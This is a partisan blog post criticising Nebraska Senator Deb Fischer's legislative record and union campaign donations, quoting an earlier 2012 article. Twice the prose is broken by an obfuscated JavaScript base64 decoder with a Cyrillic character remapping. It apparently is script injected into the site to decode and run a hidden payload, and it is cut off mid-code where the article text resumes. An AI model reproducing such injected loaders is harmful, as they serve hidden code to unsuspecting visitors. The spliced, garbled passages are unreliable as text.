Blog

I spent a bit of time recently researching the various Republican primary candidates challenging Senator Deb Fischer for the U.S. Senate seat she currently occupies.  In the process, I couldn't resist revisiting some vintage GiN.  And when I say that, I'm not talking about a dusty bottle of an adult beverage, but articles that were published at this website during the 2012 election cycle when then State Senator Deb Fischer came from behind to defeat Jon Bruning and Don Stenberg in the primary.

It's six years later and much of what Shelli wrote at the time rings very true with respect to Senator Fischer:

In The New National Pastime: Pipeline Hot Potato, an article in which Shelli depicted the major players in our State government as contestants in a game show revolving around passing the "hot potato" issue of the TransCanada Pipeline to someone else as fast as they possibly could, Deb Fischer was called to take her turn several times but did not respond.  She finally makes an appearance near the end of the game and still has very little to say for herself, reflective of her behavior regarding the TransCanada Pipeline when it was an issue in the Unicameral at the time.  For that reason -- and because of Senator Fischer's physical resemblance to the character -- we chose Peppermint Patty, sleeping at her desk, oblivious to the events around her, for the "playing card" representing the Senator in the game.

* * * * *

In function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfSenate Race Rope-a-Dope:  Heineman, Bruning & Deb Fischer . . . and Stenberg, an article written the day of the 2012 primary election, Shelli laid out the money trail connecting then Governor Dave Heineman and two of the three Republican candidates competing for the U.S. Senate seat, Jon Bruning and Deb Fischer.  The article is worth reading again just for that research.  However, near the end of the piece, Shelli gives a brief but incisive summary of State Senator Deb Fischer's voting record in the Unicameral -- and it was far from stellar:

Fischer’s surge, should it exist, can NOT be due to her voting record, ladies and gentlemen. ‘Cause that is just plain bad. Let’s face it: She has been a State Senator in the Nebraska Unicameral. And at this point, that is ENOUGH SAID. To quote Robert DeNiro in the film Casino, “You’re either too stupid, or you’re in on it.” Remember…drawing pictures and subtle as a heart attack. I’m cranky…it’s Election Day…so sue me.

Fischer’s bone-headed support for a GAS TAX HIKE when prices were soaring in 2008 is pretty widely known.

But, most readers don’t realize -- just to mention a few -- other important things about Fischer’s legislative career.

Fischer, as Chair of the Transportation and Telecommunications Committee…

• Introduced and successfully oversaw the passage of a resolution that repudiated the REAL ID Act of 2005 in 2007

and then later, most curiously…

• Introduced legislation that implemented REAL ID.¹Note that some of the program was implemented bureaucratically – meaning Fischer led the charge on rubber stamping what the DMV did on its own. I ...continue

Wondered yet why your Driver’s License has to be mailed to you? It’s being processed into a national database and handled by a third party vendor, that’s why, and that’s REAL ID. Thanks, Deb Fischer.

• Introduction of legislation associated with eminent domain and pipelines.² Sorry, I don’t have time to retrace my steps on eminent domain function m65c3bbf5572b(wc){var ...continue
• The utterly bizarre M.I.A. of Deb Fischer during the entire TransCanada Pipeline feeding frenzy. And that is truly bizarre considering that the Transportation and Telecommunication Committee in the Unicameral has listed, only in part, as included in its jurisdiction items such as the following…

railroad equipment
common carriers
pipelines
commercial vehicles
telephones; telecommunications
Public Service Commission

It’s downright inexplicable how the special session regarding the pipeline was overseen by the Natural Resources Committee instead of Fischer’s Transportation and Telecommunications Committee. Well, except for one thing…membership in that NE-GOP “Platinum Card” club seems to definitely have its privileges.

• And finally, regarding Fischer’s “conservative” credentials, it is long past time that the acceptance of teacher’s union money by Nebraska politicians be exposed, every time it’s found. Teacher’s union money should necessarily be considered politically radioactive. It’s fiscal suicide for conservative politicians. You will find below, the list of contributions Deb Fischer received from the NSEA, along with a couple of other union donations.

Deb Fischer NADC filings
Campaign contributions:

2004 Primary

Nebraska State Educators Association (NSEA) $1,500

2004 General

Nebraska State Educators Association (NSEA) $2,626

2006 Annual Statement

AFL-CIO $346

Nebraska State Educators Association (NSEA) $1,200

2007 Annual Statement

Nebraska State Educators Association (NSEA) $200

2008 Primary

Nebraska State Educators Association (NSEA)$1200

State Troopers Association $500

2009 Annual Statement

Nebraska State Educators Association  (NSEA) $300

‘Nuff said?  Hope you enjoy the picture I’ve painted for you and remember it as you vote.